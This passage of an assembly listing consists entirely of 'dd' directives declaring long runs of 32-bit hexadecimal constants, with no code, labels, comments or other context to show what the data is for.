		dd 51005E22h, 0F91364h,	1E678269h, 0EFF555A2h, 99CF0303h
		dd 78083827h, 0E1E93E88h, 6B14780h, 2E8A0484h, 0ED607574h
		dd 0F519C821h, 30530056h, 9D86CE0Dh, 70F6BE39h,	0F103B730h
		dd 3C73E1A9h, 0AB8AB533h, 0CF6182h, 9AD26A8Dh, 0B007A21Fh
		dd 2F79BADBh, 3E91F3C3h, 3B001CF6h, 4B61453h, 0B100E5D5h
		dd 58B77178h, 7067341h,	3749A8F3h, 6167C026h, 0BC00CBA1h
		dd 40919F53h, 146B340Dh, 0B85AF6A3h, 5F7747Bh, 28CC064h
		dd 9129C076h, 3F074A8Ah, 22952F27h, 0FBB83150h,	0C18C00FEh
		dd 0EF53EA81h, 49060329h, 69341775h, 0B6100341h, 0BF643367h
		dd 0AB455EB8h, 0E046EE00h, 134AD1F6h, 8128DCC4h, 5D172832h
		dd 0DBFBDC7Eh, 3C1F451Ch, 1120A418h, 87F70140h,	0FB04BE63h
		dd 47608366h, 0C8B9E2E0h, 303ECE3h, 0FAEBFD9Ah,	40E1C297h
		dd 0A0B9F6h, 127D7A04h,	3D1081Ch, 0EC852E3Ah, 7D9D922h
		dd 1800E3E6h, 0D3F83476h, 253509h, 8772563Dh, 0CC19AF40h
		dd 589DF030h, 1818CFD4h, 109548B4h, 3839573Ch, 819F83F7h
		dd 80791DC9h, 3F4B4410h, 89817041h, 0F9BE837Fh,	8CA0FA75h
		dd 9C1F9E2Ch, 3903F0E1h, 0C3197160h, 2E2346A7h,	1862D690h
		dd 0F739406Bh, 0B8A2100h, 508F41EEh, 0CE238D1h,	2F521380h
		dd 0F13D6818h, 8805C201h, 1DF70925h, 773EBF4h, 0D04B1A32h
		dd 0D4479085h, 2900B436h, 0C2B251B3h, 7A7025B7h, 50890066h
		dd 59A047A3h, 0BA033082h, 0F6D1ED22h, 8B73A88Ah, 9EB00029h
		dd 89B72EE7h, 0C6F4144Ah, 0B9E18800h, 0BF222521h, 0FF230963h
		dd 54003881h, 351A9E47h, 41567716h, 0C142DD00h,	7C4588E9h
		dd 0BDB100FCh, 2E6C36CCh, 41C61C0h, 0ED405658h,	18232214h
		dd 0E71D005Eh, 61AD7478h, 0A00059FEh, 71B4B905h, 0C86D50h
		dd 475299DFh, 1FBF0D32h, 0BD772F00h, 0ED407574h, 4DC23C46h
		dd 2CDCC987h, 0B33470F6h, 89743224h, 52E3C100h,	78284A07h
		dd 0A603008Ch, 0AF8877A2h, 2B000B05h, 90312485h, 404194h
		dd 26B5895Eh, 0A90ABFE2h, 96831900h, 2982B20Bh,	0B48F51C2h
		dd 0ED512984h, 7B9002E1h, 208E0484h, 804124B6h,	3B89EE8Dh
		dd 812A22D6h, 28871B23h, 22144951h, 66507F2Dh, 9B626428h
		dd 22EF0529h, 0E2228110h, 9AB2223Dh, 0DFC7E121h, 12E39201h
		dd 7281107Eh, 5A089D89h, 441A7D44h, 0B244083Ch,	5D1C88D9h
		dd 2F00C590h, 0D7B4B14Eh, 0FD2ABACh, 29928B65h,	0BD227C80h
		dd 9F014CDAh, 0FBB0EEE3h, 0EDF9A061h, 0C43598F7h, 0F01B001Ah
		dd 37AA79F9h, 0D90B1713h, 81BD86h, 0B1E6D536h, 8C1F0094h
		dd 0DBE4EDC8h, 0EC07BFB0h, 4AB87593h, 7A42B2A0h, 0E52D000Fh
		dd 727D484h, 3E0059EBh,	7565E84Fh, 0D2190h, 91B04402h
		dd 0BB6C98C9h, 7E715B00h, 0DEDAE7F4h, 6305E6FBh, 60FD107Dh
		dd 7058C4C0h, 639E1509h, 95C02028h, 66010Fh, 3FC50749h
		dd 225C41B3h, 0E2785800h, 0B7D27ED5h, 3C435871h, 0D49C2900h
		dd 0C8E64F9Ah, 0F6C59000h, 0BAFC69E9h, 0B17000C6h, 6811FB10h
		dd 0D600FAB9h, 3FB43586h, 0C7EE14h, 4C8A7B6Fh, 0E98DBFECh
		dd 0F5217200h, 0B1D869Dh, 1B7C0Ah, 5C3BE8BAh, 26A1AB3Ah
		dd 53480400h, 0F245D2E6h, 5AA500A6h, 0F559D057h, 64007107h
		dd 0A80CFFDh, 185C54E6h, 18CE1C7Dh, 301076Eh, 940F49B9h
		dd 0D5FC046Ch, 79370032h, 0F293FCE0h, 0CC1E677Dh, 6080F0C3h
		dd 9ECB01CDh, 0C72B005Fh, 0A6338B2Ah, 73EE2F3Dh, 1528E300h
		dd 700BAA80h, 547236h, 0D1E1684Fh, 0CB98E61h, 7F199E00h
		dd 85FB6ECAh, 579F006Dh, 49CF5AF1h, 160F2572h, 23192A5Eh
		dd 0A8683C76h, 1CE5D84Fh, 0C031B7A9h, 8BEC0DD5h, 0C8009A0Ah
		dd 1DE14D6Ah, 0F4C239EAh, 0F2300036h, 0E4F95FAAh, 1B5894E3h
		dd 3E3F1F9Dh, 0E0A1B78Fh, 2DCE2C5h, 995D165Fh, 7ADD1E3Ch
		dd 80EE2A87h, 8B38302Dh, 0AD00CF08h, 87773A32h,	0EDCF2E6h
		dd 70E34E35h, 0A04AD447h, 652A4D5Ah, 23BA1600h,	38CB418Fh
		dd 0E9B3007Ch, 0F23CD179h, 0E03C9C15h, 26E0066h, 9ED7267Eh
		dd 64EA1F0Ah, 89A98016h, 0C956277Dh, 153C0709h,	8F0400D5h
		dd 0E2BEE2FDh, 50910126h, 83F86DB9h, 0D01AF86Bh, 14DC8000h
		dd 0EAE18530h, 3650034h, 18F0AB25h, 47002787h, 83DF1F7Ah
		dd 0CCAC5Dh, 6FEE917Fh,	4ACB6574h, 28BD6D02h, 401B96E2h
		dd 0DEB403h, 60FA2902h,	2B82F4D1h, 9FE82A01h, 0A5B9C672h
		dd 6AD7F0h, 1219536Eh, 0DB37628Ch, 0D91DF072h, 0BD805E49h
		dd 7722658Ah, 8B848C7h,	0F81DC000h, 0AE99A481h,	57ED8C00h
		dd 44FB1A60h, 0A5510026h, 0C25633B7h, 7A00D476h, 0E9927705h
		dd 1E7F2h, 356FBD1Ah, 9E520291h, 0C1D0511Ch, 428108E0h
		dd 0D050AA99h, 6F6C04A7h, 7AF863h, 0E8AABD88h, 0D82500AEh
		dd 4010815Eh, 0EA003EDAh, 1B174421h, 0E204F650h, 2ED43EE7h
		dd 68AB12h, 9C4C3737h, 450F1681h, 67CF70F7h, 97401178h
		dd 146F530h, 506C1D71h,	2A606942h, 8AB2FE80h, 0E87400B9h
		dd 0D59A662Eh, 8000FE11h, 0D1AEDCA8h, 7347EFCh,	0F80A1935h
		dd 0F163302Eh, 7D00E394h, 49E41387h, 489BD8h, 0DA84ACD1h
		dd 0B947C51Eh, 997D2307h, 0F2606E73h, 90FB27h, 11325D04h
		dd 6150F12Dh, 24028774h, 92B6284Dh, 8CC480DAh, 0FE9960h
		dd 17E9FC1Eh, 3613EB59h, 375AD600h, 86CA2070h, 0D2050012h
		dd 4878175Eh, 0A600E4DBh, 523E4DB8h, 1D6A9E3h, 0BCD276C3h
		dd 35C0DF9h, 0A8C0C89Dh, 48020192h, 88015FE3h, 0FBB82040h
		dd 0F81E8400h, 67C03CB6h, 973B1656h, 4F3C01ADh,	2078B97Dh
		dd 5C00EF49h, 0B6EA3D05h, 38DA1DCEh, 0C609894h,	7E7F5A7Dh
		dd 9DEEF200h, 92698750h, 2D6E000Ah, 0D9F73DC0h,	0AE0F45BDh
		dd 40C4D42Fh, 1EE148E7h, 413B031Dh, 0BCB36F69h,	6A4613B8h
		dd 0E6030D7Eh, 63FC426Dh, 0FB709FD2h, 57219FEh,	4A929EE3h
		dd 53A580A5h, 0F9E46BDDh, 7DF0B707h, 0F291D211h, 7E607718h
		dd 98ED00A4h, 64A8887Fh, 6F003C05h, 0DD756D1Ch,	0C2EF4Eh
		dd 89C91EA2h, 0AC2C1B4Fh, 8A0F2F00h, 45067DCh, 93651349h
		dd 0CA3C1898h, 2001259h, 0F4C5161Eh, 0EE216081h, 37C30125h
		dd 68491A8Fh, 13318050h, 539246E6h, 0F0B8C007h,	82DA7D24h
		dd 785C5509h, 0C54CA080h, 1F843733h, 43D7E619h,	91CFAA87h
		dd 41DD24E9h, 0C00A4DBBh, 0D0704138h, 5AFE4400h, 0EC3BE7FDh
		dd 111FE83h, 0CFD7FA7Ah, 0DE50950Ch, 0BE32E960h, 0C3CE3A00h
		dd 2576F051h, 9045FE3Bh, 0FF6A00F3h, 0E59BD637h, 0C03DD71h
		dd 53C66938h, 0FF5D008h, 298000ECh, 309341F6h, 700F1849h
		dd 0C05EF7CBh, 0F1101EA1h, 0A82A03E6h, 4F563F2Dh, 0C77636B0h
		dd 0E4541D01h, 7D01CA60h
		dd 7E3203D7h, 46C05BF8h, 20766BB8h, 268038h, 92AF9181h
		dd 0C11B44Fh, 4601FD7Eh, 52075F2Ch, 1B6F8C88h, 0ABEBD680h
		dd 0AC3200BDh, 9D197780h, 2100C524h, 0EA4C38B4h, 73A0D53Ch
		dd 0E748075Ah, 206FAE0Bh, 0D70F25ADh, 98B4EE00h, 0DC5C6DD8h
		dd 111A039Bh, 77EB2276h, 37A14788h, 4270321Ch, 20E180BFh
		dd 61ECB98h, 3AB10075h,	2C381DFDh, 311E5081h, 0E040ECE2h
		dd 3937220h, 4A58009Ch,	3708FBEAh, 0FE0168D7h, 0BD9E6DB8h
		dd 0F3F8E3E9h, 247304E0h, 0C00470C4h, 0EFA1F19Dh, 0D1BE1B1Ch
		dd 783753C0h, 37D15AFh,	59F66FCh, 93A9BF38h, 0F899DC07h
		dd 0EB72F600h, 0D9A48E1Bh, 0BCC50082h, 0D2280133h, 2700B8CEh
		dd 46FFAA3Bh, 1799A7Bh,	0D3E323BBh, 0D47120B6h,	4092271Ah
		dd 2D7F8AF8h, 5DC14D00h, 85317540h, 77FEF48Bh, 0FFC600D7h
		dd 66AE8632h, 0B0E394Ch, 40F61AF0h, 0B2608F46h,	0FDCB005Bh
		dd 98E1EE56h, 0B60397D3h, 94B916CFh, 665DF85Fh,	634D0927h
		dd 9C50DF6Ch, 246A5E0Ah, 4C00A04Bh, 32037FDEh, 14230B74h
		dd 28892938h, 0CBF87680h, 8D001A5Dh, 3CAAFFCh, 1C1532Dh
		dd 0D1A48492h, 0D3C6D222h, 9E7ACEC8h, 0ECF8E305h, 0A000EA56h
		dd 0BFE09B1Dh, 18F90093h, 7DFEE1F4h, 9C042D22h,	3DCD0C3Ah
		dd 0F6E67CC1h, 1EF44BC0h, 0E48DB830h, 0A5400020h, 0C7D45328h
		dd 0DD0E7E1Eh, 0FBB63080h, 96F40Ah, 5B6A5748h, 0BD3FA8A4h
		dd 0AE247F03h, 775546EFh, 0FE9E00D8h, 6FC856C0h, 6612C17Eh
		dd 502D4F63h, 5C006AC9h, 0A7057D45h, 0A09A29D3h, 0E2D26680h
		dd 0BDF30E46h, 0E0EE5A54h, 4F55BFE0h, 0A03C3C4h, 0A0ADB87Fh
		dd 9834A8E7h, 64660006h, 2ED8C630h, 500036C7h, 8B3FA27Dh
		dd 0F11CB4h, 306333C4h,	9EA1CB95h, 6BD01D2Ch, 0D537AE09h
		dd 64880300h, 0E0013AC4h, 3DEDEBD9h, 0E0EB4DBEh, 9D1FCBh
		dd 4FE99C53h, 9517DD6Ah, 0DA353901h, 8A46A907h,	1D63BFD8h
		dd 4BC49048h, 0B3091301h, 73152D80h, 12002AEDh,	74E88B97h
		dd 2E5D0h, 0E28D7E7Ch, 6E3A160Eh, 0A30041E4h, 29D24DA4h
		dd 54EE25h, 2A6F5563h, 0F7F6B3B8h, 2887F326h, 4D32803Dh
		dd 19EE2030h, 34EB005Fh, 0A9BDD623h, 0DCFC2559h, 0B53899E0h
		dd 82A5023Ah, 63ACEEE2h, 88CEEBDDh, 0F8307AC8h,	0D74F009Ah
		dd 0A277AB64h, 8678E0B4h, 0F74B0800h, 1C0D0155h, 0FAA1003Fh
		dd 18C05E97h, 0A80029A9h, 6CF34B81h, 0E4807E92h, 8B2D0179h
		dd 4A970A05h, 84E860DEh, 75D1AB00h, 0B0422317h,	0AC520E31h
		dd 6F80F04Eh, 7F591868h, 0D1FDAA00h, 21900F76h,	117C02D3h
		dd 77E68353h, 0BCFE2860h, 65816F02h, 0C04815F3h, 22BDD5E8h
		dd 0C8007DA4h, 3212732h, 1ACE2C3h, 346FD9A0h, 20901DE8h
		dd 0FA205450h, 36CB1657h, 3C3C407Dh, 9F010B62h,	0D81CF700h
		dd 72DC76DDh, 698F0753h, 3087CD2Ch, 0A8F48D5Dh,	3F670140h
		dd 3F80E3C4h, 0D5A2055Ah, 0CC02C7BFh, 1B5BE754h, 961460CEh
		dd 13661EA8h, 9115C0B2h, 0DE3F5C42h, 0EC0D6B00h, 4727FF49h
		dd 5F1D01BDh, 0A0659E90h, 0C24883EFh, 0E074DBC8h, 5B9B34h
		dd 17F61B92h, 56585746h, 554139h, 64D4FF6Eh, 201C0B0h
		dd 6DDFB28Ch, 0BC80D11Eh, 0DAAF8F98h, 6681E902h, 0E0DE6504h
		dd 7BB1F39Ch, 0BA7F3Dh,	7E696DC9h, 2C7CB349h, 8F21A739h
		dd 20E2975Fh, 9A597666h, 399E002Bh, 0D9185636h,	0D000B9E5h
		dd 0DE33DDC0h, 0B8D3804Ah, 9F233A3Ah, 324FC68Fh, 0CACF75C0h
		dd 45143A8Eh, 1C0A3E0h,	5EF12A21h, 8427B6E2h, 0EF49C000h
		dd 5426B8A0h, 3DB95B3Fh, 28D100B5h, 4A04558Ah, 14A9007Ch
		dd 0CB5FF7C2h, 320736CFh, 4CDF1F21h, 47BEEAA1h,	0F11C8D4h
		dd 158AD8B4h, 0BAC42B80h, 901F2941h, 8FFB511Fh,	80654877h
		dd 4CA6B4F4h, 6D8500B5h, 0CF6CEF89h, 0F8003A23h, 0E524201Ah
		dd 18AAE4D9h, 0B8E3E747h, 0D00D238h, 0EBF97618h, 1868B7B3h
		dd 885586B0h, 831764E1h, 8C5E2231h, 0A6B292C5h,	0AAE5F880h
		dd 49CA65C1h, 26804356h, 77886ED3h, 7300B521h, 28EC3A7Bh
		dd 7166BE44h, 57B2Ch, 221667BDh, 9EC9E5C6h, 0AD008A79h
		dd 98DD6F2Bh, 3ED1FBBh,	3915259Ah, 0C9F0047Fh, 7D00896Eh
		dd 0CB53D131h, 7A3427h,	0BB9DB337h, 147BC022h, 808020FFh
		dd 390C7C00h, 6B18575Eh, 0D3913B86h, 75BD4980h,	0A7E3660Eh
		dd 0F824B00h, 62DDD93Dh, 292F0060h, 0D8FEB26Bh,	0B55910A4h
		dd 0C24C60h, 0FD61AE3Fh, 137DE2AFh, 0F918C18h, 77418F58h
		dd 0CCD141DDh, 0AF4CF7D9h, 489004Ch, 9A152E11h,	0FF900034h
		dd 7BC7828Fh, 0D000DED2h, 49EF090Bh, 6BE4C1h, 2CB4542Eh
		dd 5798F62Fh, 0A1C52500h, 0AC082734h, 47C81F9Bh, 0D3BEC78Bh
		dd 31D167E6h, 0D4529135h, 550E6CA7h, 2E34E222h,	1CA40029h
		dd 925AF2Ah, 72183E49h,	2C4AC0C0h, 0C0945704h, 0F9876F76h
		dd 7BA8C1E9h, 23006029h, 4ABE4BB4h, 0A300A84Fh,	4D4106B5h
		dd 96B61B0h, 0EB24F8E7h, 0B24E7B80h, 0CFF29D6Eh, 0A37D000h
		dd 0F719B012h, 606A07BCh, 8465F045h, 83108374h,	4C6029D7h
		dd 0FAFA1B52h, 3097E25h, 991C848Ch, 0E0DE5FEBh,	13899B8h
		dd 155B8D14h, 0F478EE86h, 0B8725DE1h, 0D100897Ch, 3430297Ch
		dd 0AB8EB9h, 0B7E63B23h, 82F22855h, 1FE8C58h, 0F9E9C162h
		dd 4DFC91FDh, 4498F7h, 8B641AECh, 2215C911h, 0B2065B0Ch
		dd 19680Ch, 0DF33925Ch,	18603BF2h, 3279E500h, 9824A48Ch
		dd 0EEB40331h, 6619A66h, 7DE4BC0h, 7C04A4Ch, 4FDBFA10h
		dd 780DDF91h, 0F896BE43h, 0EC2BB13h, 391DCF37h,	97E5BAC1h
		dd 46146456h, 38B58213h, 8347C487h, 64DDE1B0h, 43932E87h
		dd 0D2191F7Ch, 0F01C8C47h, 9E737801h, 0AC4CC3E4h, 0ECD7B9D0h
		dd 802D4802h, 8C3C9900h, 13BA4521h, 70D8DB07h, 0B4D2A88Ah
		dd 34BB61B0h, 1218C670h, 7F0E3FBh, 0E04EB3E0h, 5DCD816Dh
		dd 0A0948600h, 0D5FF11DFh, 0AE6F0040h, 324BD763h, 0B400EB96h
		dd 55A45F3Dh, 7FF9B6h, 0BBC3B748h, 13C8A4Ah, 0BA504300h
		dd 4C9AA98h, 253D003Fh,	94AF4D1h, 997E55ADh, 70102098h
		dd 0DB00E44Eh, 1C36D07Fh, 0B998D668h, 8EB34D00h, 94A761B4h
		dd 8F9204ADh, 0C00B2F2Ah, 0C5D91288h, 181A900h,	784E4379h
		dd 0EDB60E9Ch, 0DC20F2B5h, 8EC7F9Bh, 3EB7E212h,	0A415D84Ah
		dd 56C09E6Fh, 2EF04BE0h, 4F70061h, 991FF851h, 7F003630h
		dd 4DDE97C7h, 1D8EDFh, 29CC0C9Bh, 9218F026h, 2FAC7126h
		dd 2ADE2C00h, 21532Dh, 0A9B57376h, 79DDB8Ch, 38045EF6h
		dd 0AEDF3416h, 0D30098F2h, 21F35CDDh, 1C04CA94h, 0A7AF92A2h
		dd 6B60C880h, 37FCFCh, 15DE0362h, 5FBC45E5h, 0D857720Fh
		dd 0B821802Ah, 0AE0522h, 0D38E2476h, 499FA0DFh,	1B84D700h
		dd 0E7F83EC3h, 123800EBh, 0E13F2270h, 4000D6E9h, 4173A4EEh
		dd 902D5F66h, 0A603FB4h, 3B83F780h, 0BD409380h,	0F4E5253Fh
		dd 1BB738h, 539EDBF4h, 0E8BC26F2h, 704C0EE2h, 0EF404144h
		dd 12F53D7Ah, 0AE4BDA0Eh, 6AEE605Fh, 25FF7Eh, 0D7E11A19h
		dd 5D7C788Eh, 7960AF03h, 0C00C433Bh, 0E453376Fh, 1EB30099h
		dd 5EE6B710h, 3A7FF64Ah, 250F4898h, 21F32BCBh, 18C86A30h
		dd 2B60C3C5h, 0C4770761h, 80F5D198h, 0CC6A1675h, 2F3B0F01h
		dd 0BF34A311h, 68A5B880h, 811BE2EDh, 5BA8FD0Ch,	3DE18BEh
		dd 0E6E7AA13h, 0CD90A107h, 0FF24BB9Ah, 5F00A0D6h, 90792AFEh
		dd 0E1150019h, 6DD19E01h
		dd 7600CBE5h, 0F5BE70ACh, 0D968A3h, 12E284F9h, 0BBCE344Ah
		dd 55023B00h, 46F05F1h,	0FF818B1h, 9CBE503Ch, 0F6A44C00h
		dd 0FDB74D2Eh, 46F0E7h,	854B17A3h, 82864ACh, 313FC000h
		dd 0E3768071h, 152A00CDh, 0B07A585Ch, 83162CABh, 3EA4650h
		dd 0C8988EADh, 0F1EE80D0h, 0A42EB400h, 0D15B71E9h, 3A750760h
		dd 0A03F674Eh, 796A2914h, 0EF8DF600h, 233489FDh, 377B0052h
		dd 0FB33274h, 0B80015BFh, 249FC78Ah, 144D0D3Ah,	0E4734F60h
		dd 0ADD4ED25h, 6C3E2E00h, 44841Dh, 9F468F4Eh, 7C3B831h
		dd 7C53A20Eh, 79CF00E4h, 1EC45FD9h, 0C7EFA829h,	30DAED16h
		dd 92A22FAh, 5AE81400h,	72B78B46h, 3C96483Ah, 0A16C3200h
		dd 6939E1EEh, 82A8B0C5h, 0B30B7D80h, 2AD21CD7h,	346F00D1h
		dd 0C7A7BB09h, 0C8CF2C00h, 8722DB3Eh, 1ECE442h,	9DB8496Ah
		dd 2009945Dh, 0A3066B6Bh, 5BCCFFD9h, 50C800D0h,	54CE10F7h
		dd 2F00F6DAh, 0A26995EEh, 7D5C4Bh, 0FE73EABh, 0A420BA5Eh
		dd 860079FCh, 6822ADC4h, 0BFB2F49h, 7B1A0117h, 0D2F74D00h
		dd 0C1004050h, 57116930h, 39D8824h, 3ABE80F5h, 78581BC3h
		dd 0C463011Ah, 0E0A276EAh, 3602F8BAh, 423DA794h, 0B94ADB60h
		dd 0C1EBDA00h, 184B1EBBh, 7F3E00ECh, 58CB2006h,	0BE03F73Ah
		dd 51FC37A9h, 4ABDF0B2h, 83D0004Dh, 39E61C35h, 92008971h
		dd 3CDCF4E2h, 5DF896h, 70404304h, 0D7861B9Bh, 6C987C00h
		dd 830CA837h, 82CD0239h, 0FCF99E4Fh, 0C1108FC0h, 7400B3E6h
		dd 0A222E6FAh, 0E8A6E5h, 888A9BA7h, 0BD318FEEh,	2798CB00h
		dd 4A176FFDh, 80FE60BAh, 4FA55D5Eh, 533FDA00h, 3C6989AAh
		dd 0EAB3036Ah, 28747B0Ch, 1EE61148h, 0DA405A94h, 0DE247F48h
		dd 0D8FB0166h, 92B962D3h, 0F91DCC30h, 0A9781660h, 1DD5BC5Fh
		dd 8029A011h, 0D1613F89h, 4F00E7AFh, 95BCF51h, 772428h
		dd 4B8DE8BAh, 6FCAA0F3h, 784A3Bh, 0E4A7A954h, 28E3E0CBh
		dd 0FAB44D66h, 0DCCD108Ah, 0B1EA0235h, 0E0E3572Dh, 0A03D03CDh
		dd 1C9E3798h, 18D5E77Fh, 9076E8E4h, 0EE50F000h,	843D15C0h
		dd 2BB700A9h, 0FF3C93E9h, 8500697Bh, 30880CD4h,	550654h
		dd 429ACFB7h, 0D513EFDFh, 61011BECh, 0DBABEA2Fh, 0C0D02017h
		dd 3E4F3E6Ah, 5AFF6703h, 3BE17543h, 4099FD6Ch, 0B3E61E84h
		dd 5FF5720Eh, 0E9D32002h, 11DC918h, 0C0D6AFDh, 0CC0EC48Fh
		dd 540226C8h, 0E551F182h, 329EC092h, 3FE00075h,	5C64B95Dh
		dd 8D3B53DBh, 0F63E0090h, 614723B8h, 12697BC1h,	406CDD1Eh
		dd 0C7813A40h, 0EE7EBFA7h, 1949D430h, 0BE6625h,	0D3A52E98h
		dd 0A48DACD6h, 3B879C0Ah, 0CE00B0BAh, 34D20ABh,	0E7230079h
		dd 3E67A2ACh, 0F500C407h, 259DDB4h, 0C8E81Ch, 63CA8E3Bh
		dd 9AF2ECF3h, 0DE54921Eh, 60CCD78Fh, 9D8306ABh,	7520905Fh
		dd 4F780EDAh, 46CFCA22h, 0F1561CC0h, 8D086037h,	1EA0A3ABh
		dd 200E2D0h, 3AF5BD82h,	384EDF76h, 340F58AAh, 15017857h
		dd 0CBD8BB4Ah, 80CE5680h, 0D22E9A01h, 6FD5A7DEh, 3CB27E8h
		dd 7A044703h, 80872B58h, 0A849EBF1h, 83B56900h,	83C9514h
		dd 0BE7C0084h, 930A26A6h, 0FB028DB9h, 6437C02Ah, 0AC9C80D0h
		dd 2476739Fh, 1D28F966h, 93320042h, 16E0DBBDh, 80124B3Eh
		dd 0D1AFB472h, 74922566h, 915C1DA1h, 0B33EC098h, 0C9106A0Bh
		dd 0C8ADE9A1h, 72001ECCh, 5EE30F83h, 0C0853E11h, 8AF2B1F8h
		dd 3000823Bh, 1A05F598h, 0CA1331h, 834EEFB9h, 19FFDDEAh
		dd 6854E200h, 0E68AEBABh, 0DB9B00A4h, 5F82DC4Bh, 2E72D863h
		dd 0BC004E7Dh, 78327D7Eh, 0E1BCEA3h, 0AC849F7Ch, 20C7A5h
		dd 42ABF094h, 41008A75h, 63F547DDh, 140476EEh, 0C0F73307h
		dd 969E4300h, 816E2BB9h, 45ED2E17h, 15E714h, 0DAA6F008h
		dd 50A9047Ah, 3BAC4Ah, 5AB8CD8h, 0E9F0E6BDh, 78DC9800h
		dd 14106B1Ah, 74C8000Dh, 2579F75Ah, 5C00C443h, 0BC1E11F4h
		dd 3D22919Eh, 9A28A7A6h, 1D8403C8h, 9BD422Bh, 8B0FB7B0h
		dd 8AEC291Ch, 0CC216D41h, 0E4F896CAh, 439CC7h, 778E64C2h
		dd 0A4789F5Eh, 0CD154700h, 0F339511Fh, 97561440h, 8900ECF8h
		dd 9A03ED8h, 52005EE8h,	14030E83h, 947B7Dh, 0DC1F307Ah
		dd 4370EED7h, 0AF337100h, 7C19E403h, 3D4A001Ah,	90617D5Fh
		dd 8C002C31h, 0CB69E6D4h, 15DBE430h, 0C488B349h, 6048F63Eh
		dd 0EE1F2800h, 1CA5CE55h, 0A2EFCF8h, 7D00C23Fh,	4D63533Eh
		dd 813B0733h, 40966A65h, 110516CDh, 0EF24FE00h,	0F5CC8ECEh
		dd 0E97EFDh, 0EED15283h, 63061DB7h, 80C53538h, 0ACBDC47Ah
		dd 0FE540D0h, 0F99C7938h, 3BAF480Ah, 590213h, 0A0AD05DFh
		dd 1C00EBE8h, 61C7C924h, 3A5EC53Dh, 0FB8025CEh,	0A39C5DEEh
		dd 1B0049E3h, 2A616F2Ch, 2ED90763h, 51F78Ah, 419AAADBh
		dd 8600D1A5h, 0A9AD80E6h, 0F8833Eh, 0FB2C789Eh,	0F4B01B0Fh
		dd 0CF0033E0h, 0C1088DB8h, 537788h, 0F3D4B2E0h,	0FD2E20D9h
		dd 0EFAC6300h, 2DBD48E2h, 0BC7A009Dh, 4D913618h, 9F87199h
		dd 0FC424509h, 0EC1880E4h, 0FEDE16F3h, 29BD005Ah, 171CC2C0h
		dd 0A000353Ah, 0D3A9BB84h, 1861D719h, 985F336Bh, 75ECE58Bh
		dd 0DB0A52F4h, 0D8D3EDF6h, 1781A000h, 0A9897Ah,	0BA05960Eh
		dd 0EA09E50Fh, 1E50704Dh, 30419D64h, 22EDEE8Fh,	3741B630h
		dd 8720813Dh, 0E1CA77h,	9EC00E97h, 8EB8FAE1h, 4363590Fh
		dd 98880DAh, 1DFE06DBh,	800E93F9h, 0B500D62h, 0E009FDA3h
		dd 0E9DE43Eh, 92818263h, 2848A2ACh, 0FD7140DBh,	625B0150h
		dd 0E4CBF7DCh, 0BFC60A9h, 0CF773C00h, 3EFF9DABh, 6C5E8ACh
		dd 552AD640h, 9B01484Eh, 0F1FDB50Bh, 2FFC05BEh,	0D32D00B0h
		dd 0FB0CC059h, 0D70794E8h, 30705040h, 0F79A3AA0h, 373300FCh
		dd 8F84D969h, 4A003D2Fh, 0CC678C4Bh, 3A1F5408h,	210043E2h
		dd 0B5B43304h, 0F400E63Ah, 25C46F1Ah, 7F96E3h, 70DF9445h
		dd 0B9CD8DE5h, 0DC47FE0Fh, 0BC71004Ch, 8BEA74h,	1D405E44h
		dd 7659510Ch, 6ADB0A0Eh, 0E05DAEF9h, 0F7C3A302h, 811A0F74h
		dd 3D81F4E1h, 82A0B67Dh, 5F9B8318h, 1E1044C1h, 40C6F9C9h
		dd 0E5EEDF22h, 8CCB72Ah, 7021F2h, 0EFC9C6E0h, 0E2F8ACA2h
		dd 0F32FF700h, 0A87BD66Eh, 85BE027Eh, 0D30FFE3h, 8F42A080h
		dd 8B68A265h, 8899BC70h, 0FE186478h, 225EC608h,	4F0EC4C7h
		dd 0AC40FCBFh, 21395863h, 547D00F3h, 9C7F133Bh,	0EC0504FAh
		dd 713E6632h, 0C05B6C08h, 2253C6EDh, 30A9FF2Bh,	0CB03C2ACh
		dd 0A0FC5F92h, 0F9FA8661h, 2881C8BCh, 9123D8E8h, 43A0401Ah
		dd 400FD4A8h, 804E5802h, 6C19E1DFh, 60B703E8h, 85D54B31h
		dd 3B946AF8h, 0B0955E07h, 1CC78B8Dh, 6EAD004Fh,	9F2E52h
		dd 86D637A7h, 0FF93E548h, 8B730F00h, 9528E945h,	650331ADh
		dd 15F51329h, 280CE587h, 42228461h, 191F4266h, 4D51F6F7h
		dd 2944EE08h, 0E3D0447Bh, 84893744h, 602B6F22h,	0CC8C2967h
		dd 0B55C6599h, 0B0A20045h, 3FE21B72h, 0C99D50C8h, 7B64000Ah
		dd 0EC2725ADh, 0DF9893D8h, 6C67E8E7h, 0EB2F6F0Eh, 0E1EF622Bh
		dd 6D81F7DEh, 0D46BA87Ah, 48006129h, 6D8DC91Dh,	0F9AEB13h
		dd 0D38FB80Fh, 753C89E0h, 9C70B190h, 1A03BF7Ah,	0A82F135Fh
		dd 393C1DCh, 604FB520h,	73B938ECh, 0EA0032C6h, 616EE21Ch
		dd 0F46D6Ah, 0B49B266Fh, 0F6DC351Dh, 9FF3000h, 0F58A5BE1h
		dd 9E3B1C93h, 7E00045h,	8E0412D1h, 43EAFC60h, 342D5Dh
		dd 75A610B7h, 572C535Bh
		dd 3B60C15h, 6D000F0h, 0CAE3ACEBh, 0B4A100E1h, 18ADE56Ah
		dd 5803CCBBh, 4724EE03h, 0B660EFA0h, 344A57h, 18708EF0h
		dd 5C736B2Eh, 80B5A839h, 63D0C1A6h, 0DDCB0Ch, 8BEF444Fh
		dd 0FAB94DA4h, 944CAF0Ch, 0F98580EAh, 0E1C96710h, 2DF1D500h
		dd 0C5292F2Ah, 785E009Eh, 3796CFB3h, 0E30064AAh, 10345845h
		dd 609FD491h, 0A33F6AB7h, 8C3D6130h, 0C5A8804Dh, 0FCA63606h
		dd 0CD33CDFh, 4FC18500h, 6DAEA22Bh, 8E80DB05h, 0B800BB09h
		dd 0BDF951Ch, 5A260030h, 1AA5F904h, 15013944h, 34B70E8Dh
		dd 0A640DBA7h, 75106F8h, 92F672FAh, 8596A59Dh, 0A6741E7Fh
		dd 81AE1C8Eh, 198A3078h, 0F188746h, 0DE3083E0h,	6C11EEh
		dd 96D562EFh, 2DB85D0Ch, 2A001BE2h, 980DBF93h, 0EC480FCAh
		dd 4F2B0001h, 0D3234C8Fh, 3B3A2186h, 0C84874h, 0BBA766B2h
		dd 755D171h, 0AE0840Ch,	0E31A62E2h, 0A1881C40h,	23181498h
		dd 0BEF0936Ch, 4D0700D2h, 79F559FFh, 353C9E1Bh,	2A188039h
		dd 24770C1Eh, 0A093D13h, 47D7C301h, 0C86843CEh,	0C4F051A6h
